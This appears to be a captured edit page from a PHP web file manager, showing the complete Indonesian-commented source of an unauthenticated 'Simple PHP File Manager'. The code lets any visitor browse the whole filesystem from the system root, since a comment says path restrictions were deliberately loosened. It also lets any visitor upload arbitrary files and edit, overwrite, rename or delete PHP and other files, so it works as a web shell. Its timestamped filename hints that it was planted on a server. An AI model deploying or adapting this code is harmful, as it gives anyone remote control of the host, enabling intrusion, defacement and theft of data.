✍️ Mengedit File: 1766164200_gemini2.php
← Kembali ke File Manager
<?php // --- PENGATURAN DIREKTORI --- $dir_separator = DIRECTORY_SEPARATOR; // Penanda pemisah direktori (otomatis: / atau \) $base_dir = rtrim(getcwd(), $dir_separator); // Direktori root skrip File Manager // Ambil parameter 'dir' dari URL atau gunakan direktori base jika tidak ada $current_dir = isset($_GET['dir']) ? $_GET['dir'] : $base_dir; // Normalisasi Path dan Melonggarkan Batasan Keamanan // PENTING: Menghilangkan pembatasan direktori agar bisa naik ke folder di atas `$base_dir`. $current_dir = realpath($current_dir); if (!$current_dir) { $current_dir = $base_dir; } // --- FUNGSI BREADCRUMB VERSI MUTLAK (SISTEM) --- function generate_breadcrumb($current_dir, $dir_separator) { $html = '<div class="breadcrumb">'; $path_parts = explode($dir_separator, trim($current_dir, $dir_separator)); $cumulative_path = ''; // Tautan pertama ke Root Sistem (misal: / atau C:\) // Link hanya menggunakan query string $html .= '<a href="?dir=/' . urlencode($dir_separator) . '">💻 System Root</a>'; foreach ($path_parts as $part) { if (empty($part)) continue; // Penanganan Path Windows (C:, D:, dll.) if (strpos($part, ':') !== false) { $cumulative_path = $part . $dir_separator; $html = '<div class="breadcrumb">'; // Reset breadcrumb $html .= '<a href="?dir=/' . urlencode($cumulative_path) . '">' . htmlspecialchars($part) . '</a>'; continue; } $cumulative_path .= $part . $dir_separator; $encoded_path = urlencode(rtrim($cumulative_path, $dir_separator)); $segment_name = htmlspecialchars($part); // Jika ini adalah direktori saat ini, jadikan teks biasa if (rtrim($cumulative_path, $dir_separator) == rtrim($current_dir, $dir_separator)) { $html .= ' » <span class="current-dir-text">' . $segment_name . '</span>'; } else { // Tautan yang bisa diklik. Hanya menggunakan query string. $html .= ' » <a href="?dir=/' . $encoded_path . '">' . $segment_name . '</a>'; } } $html .= '</div>'; return $html; } // --- FUNGSI UTAMA --- $message = ''; $current_query_param = '?dir=/' . urlencode($current_dir); // Simpan parameter URL saat ini // 1. UPLOAD FILE if (isset($_FILES['file_upload'])) { // Pastikan path bersih dari double slash dan spasi $clean_path = realpath($current_dir); $target_file = $clean_path . $dir_separator . basename($_FILES['file_upload']['name']); // Cek apakah direktori valid if ($clean_path && is_dir($clean_path)) { // Cek izin tulis if (is_writable($clean_path)) { if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $target_file)) { $message = "✅ File **" . htmlspecialchars(basename($_FILES['file_upload']['name'])) . "** berhasil diunggah."; } else { // Cek error spesifik dari PHP jika move gagal $error_code = $_FILES['file_upload']['error']; if ($error_code > 0) { $message = "❌ Error PHP: Kode " . $error_code . " (Mungkin file terlalu besar)."; } else { $message = "❌ Gagal memindahkan file. Periksa izin folder temporer server."; } } } else { $message = "❌ Error: Direktori tidak dapat ditulis (Permission Denied)."; } } else { $message = "❌ Error: Direktori tujuan tidak valid."; } } // 2. CREATE FOLDER (Fungsi Baru) if (isset($_POST['action']) && $_POST['action'] == 'create_folder' && isset($_POST['folder_name'])) { $folder_name = basename(trim($_POST['folder_name'])); // Hanya ambil nama folder tanpa path traversal if (empty($folder_name)) { $message = "Nama folder tidak boleh kosong."; } else { $new_folder_path = $current_dir . $dir_separator . $folder_name; // 0755 adalah izin default yang aman, true mengizinkan pembuatan direktori rekursif (jika diperlukan) if (is_dir($new_folder_path)) { $message = "Error: Folder **" . htmlspecialchars($folder_name) . "** sudah ada."; } else if (mkdir($new_folder_path, 0755, true)) { $message = "Folder **" . htmlspecialchars($folder_name) . "** berhasil dibuat."; } else { $message = "Gagal membuat folder. Periksa izin tulis direktori."; } } } // 3. DELETE FILE if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['file'])) { $file_to_delete = $current_dir . $dir_separator . basename($_GET['file']); if (file_exists($file_to_delete)) { if (is_file($file_to_delete)) { // Hapus file if (unlink($file_to_delete)) { $message = "File **" . htmlspecialchars(basename($_GET['file'])) . "** berhasil dihapus."; } else { $message = "Gagal menghapus file."; } } elseif (is_dir($file_to_delete)) { // Hapus folder (hanya jika kosong) if (rmdir($file_to_delete)) { $message = "Folder **" . htmlspecialchars(basename($_GET['file'])) . "** berhasil dihapus."; } else { $message = "Gagal menghapus folder. Pastikan folder kosong."; } } } else { $message = "Gagal menghapus: File/Folder tidak ditemukan."; } } // 4. RENAME FILE/FOLDER if (isset($_POST['action']) && $_POST['action'] == 'rename') { $old_name = $current_dir . $dir_separator . basename($_POST['old_name']); $new_name = $current_dir . $dir_separator . basename($_POST['new_name']); if (file_exists($old_name) && rename($old_name, $new_name)) { $message = "Item berhasil diubah namanya menjadi **" . htmlspecialchars(basename($_POST['new_name'])) . "**."; } else { $message = "Gagal mengubah nama item."; } } // 5. EDIT FILE (Simpan perubahan) if (isset($_POST['action']) && $_POST['action'] == 'save_edit') { $file_to_edit = $current_dir . $dir_separator . basename($_POST['filename']); $content = $_POST['content']; if (file_exists($file_to_edit) && file_put_contents($file_to_edit, $content) !== false) { $message = "File **" . htmlspecialchars(basename($_POST['filename'])) . "** berhasil disimpan."; } else { $message = "Gagal menyimpan file."; } } // --- TAMPILAN UNTUK EDIT FILE (Jika action=edit) --- if (isset($_GET['action']) && $_GET['action'] == 'edit' && isset($_GET['file'])) { $file_to_read = $current_dir . $dir_separator . basename($_GET['file']); if (file_exists($file_to_read) && is_file($file_to_read)) { $content = file_get_contents($file_to_read); ?> <!DOCTYPE html> <html lang="id"> <head> <title>Edit File: <?php echo htmlspecialchars(basename($_GET['file'])); ?></title> <style> body { font-family: sans-serif; margin: 20px; } textarea { width: 90%; height: 500px; padding: 10px; font-family: monospace; } .back-link { display: block; margin-bottom: 20px; } </style> </head> <body> <h2>✍️ Mengedit File: <?php echo htmlspecialchars(basename($_GET['file'])); ?></h2> <a href="<?php echo $current_query_param; ?>" class="back-link">← Kembali ke File Manager</a> <form method="POST"> <input type="hidden" name="action" value="save_edit"> <input type="hidden" name="filename" value="<?php echo htmlspecialchars(basename($_GET['file'])); ?>"> <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea><br> <button type="submit">Simpan Perubahan</button> </form> </body> </html> <?php exit; } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <title>Simple PHP File Manager</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 20px; background-color: #f4f4f9; color: #333; } .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; box-shadow: 0 4px 8px rgba(0,0,0,0.1); border-radius: 8px; } h1 { color: #007bff; border-bottom: 2px solid #007bff; padding-bottom: 10px; margin-bottom: 20px; } .message { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; padding: 10px; margin-bottom: 15px; border-radius: 4px; } table { width: 100%; border-collapse: collapse; margin-bottom: 20px; } th, td { padding: 12px; text-align: left; border-bottom: 1px solid #ddd; } th { background-color: #007bff; color: white; } tr:hover { background-color: #f1f1f1; } .action-link { margin-right: 10px; text-decoration: none; color: #007bff; } .delete-link { color: #dc3545; } .rename-form { display: inline-block; margin: 0; } input[type="file"], input[type="text"], button { padding: 8px; border-radius: 4px; border: 1px solid #ccc; margin-right: 5px; } button { cursor: pointer; background-color: #28a745; color: white; border: none; } .upload-section { margin-top: 20px; padding: 15px; border: 1px dashed #ccc; border-radius: 4px; } .create-section { margin-top: 15px; padding: 15px; border: 1px dashed #007bff; border-radius: 4px; } .dir-icon { color: #ffc107; } /* CSS untuk Breadcrumb */ .breadcrumb { font-size: 1.1em; margin-bottom: 15px; padding: 10px; border-bottom: 1px solid #ddd; background-color: #e9ecef; border-radius: 4px; } .breadcrumb a { text-decoration: none; color: #007bff; } .breadcrumb a:hover { text-decoration: underline; } .breadcrumb span.current-dir-text { font-weight: bold; color: #333; } </style> </head> <body> <div class="container"> <h1>🛠️ Simple PHP File Manager</h1> <?php if (isset($message)): ?> <div class="message"><?php echo $message; ?></div> <?php endif; ?> <?php echo generate_breadcrumb($current_dir, $dir_separator); ?> <div class="upload-section"> <h2>⬆️ Unggah File</h2> <form action="<?php echo $current_query_param; ?>" method="POST" enctype="multipart/form-data"> <input type="file" name="file_upload" required> <button type="submit">Upload</button> </form> </div> <div class="create-section"> <h2>➕ Buat Folder Baru</h2> <form action="<?php echo $current_query_param; ?>" method="POST"> <input type="hidden" name="action" value="create_folder"> <input type="text" name="folder_name" placeholder="Nama Folder Baru" required> <button type="submit">Buat Folder</button> </form> </div> <hr/> <h2>🗂️ Daftar File dan Folder</h2> <table> <thead> <tr> <th>Nama</th> <th>Jenis</th> <th>Ukuran</th> <th>Tanggal Modifikasi</th> <th>Aksi</th> </tr> </thead> <tbody> <?php $parent_dir = dirname($current_dir); if (realpath($current_dir) !== realpath($parent_dir)) { echo '<tr>'; echo '<td><a href="?dir=' . urlencode($parent_dir) . '">**[..]** (Ke Atas)</a></td>'; echo '<td>Direktori Induk</td>'; echo '<td>-</td>'; echo '<td>-</td>'; echo '<td>-</td>'; echo '</tr>'; } $items = array_diff(scandir($current_dir), array('.', '..')); $folders = []; $files = []; foreach ($items as $item) { $item_path = $current_dir . $dir_separator . $item; if (is_dir($item_path)) { $folders[] = $item; } else if (is_file($item_path)) { $files[] = $item; } } // Tampilkan Folder foreach ($folders as $folder) { $item_path = $current_dir . $dir_separator . $folder; $item_link = '?dir=' . urlencode($item_path); echo '<tr>'; $link = '<a href="' . $item_link . '"><span class="dir-icon">📁</span> ' . htmlspecialchars($folder) . '</a>'; echo '<td>' . $link . '</td>'; echo '<td>Direktori</td>'; echo '<td>-</td>'; echo '<td>' . date("d M Y H:i", filemtime($item_path)) . '</td>'; echo '<td>'; // Form Rename untuk Folder echo '<form method="POST" class="rename-form" action="' . $current_query_param . '">'; echo '<input type="hidden" name="action" value="rename">'; echo '<input type="hidden" name="old_name" value="' . htmlspecialchars($folder) . '">'; echo '<input type="text" name="new_name" value="' . htmlspecialchars($folder) . '" required>'; echo '<button type="submit">Rename</button>'; echo '</form>'; // Link Delete Folder echo '<a href="?action=delete&file=' . urlencode($folder) . '&dir=' . urlencode($current_dir) . '" onclick="return confirm(\'Yakin ingin menghapus folder: ' . htmlspecialchars($folder) . '? (Hanya bisa folder kosong!)\')" class="action-link delete-link">Hapus</a>'; echo '</td>'; echo '</tr>'; } // Tampilkan File foreach ($files as $file) { $item_path = $current_dir . $dir_separator . $file; $filesize = filesize($item_path); $file_ext = pathinfo($file, PATHINFO_EXTENSION); $editable = in_array(strtolower($file_ext), ['txt', 'php', 'html', 'css', 'js', 'json', 'xml']); echo '<tr>'; echo '<td>' . htmlspecialchars($file) . '</td>'; echo '<td>File</td>'; echo '<td>' . round($filesize / 1024, 2) . ' KB</td>'; echo '<td>' . date("d M Y H:i", filemtime($item_path)) . '</td>'; // Tanggal Modifikasi echo '<td>'; // Form Rename echo '<form method="POST" class="rename-form" action="' . $current_query_param . '">'; echo '<input type="hidden" name="action" value="rename">'; echo '<input type="hidden" name="old_name" value="' . htmlspecialchars($file) . '">'; echo '<input type="text" name="new_name" value="' . htmlspecialchars($file) . '" required>'; echo '<button type="submit">Rename</button>'; echo '</form>'; // Link Edit if ($editable) { echo '<a href="?action=edit&file=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '" class="action-link">Edit</a>'; } // Link Delete File echo '<a href="?action=delete&file=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '" onclick="return confirm(\'Yakin ingin menghapus file: ' . htmlspecialchars($file) . '?\')" class="action-link delete-link">Hapus</a>'; echo '</td>'; echo '</tr>'; } ?> </tbody> </table> </div> </body> </html>
Simpan Perubahan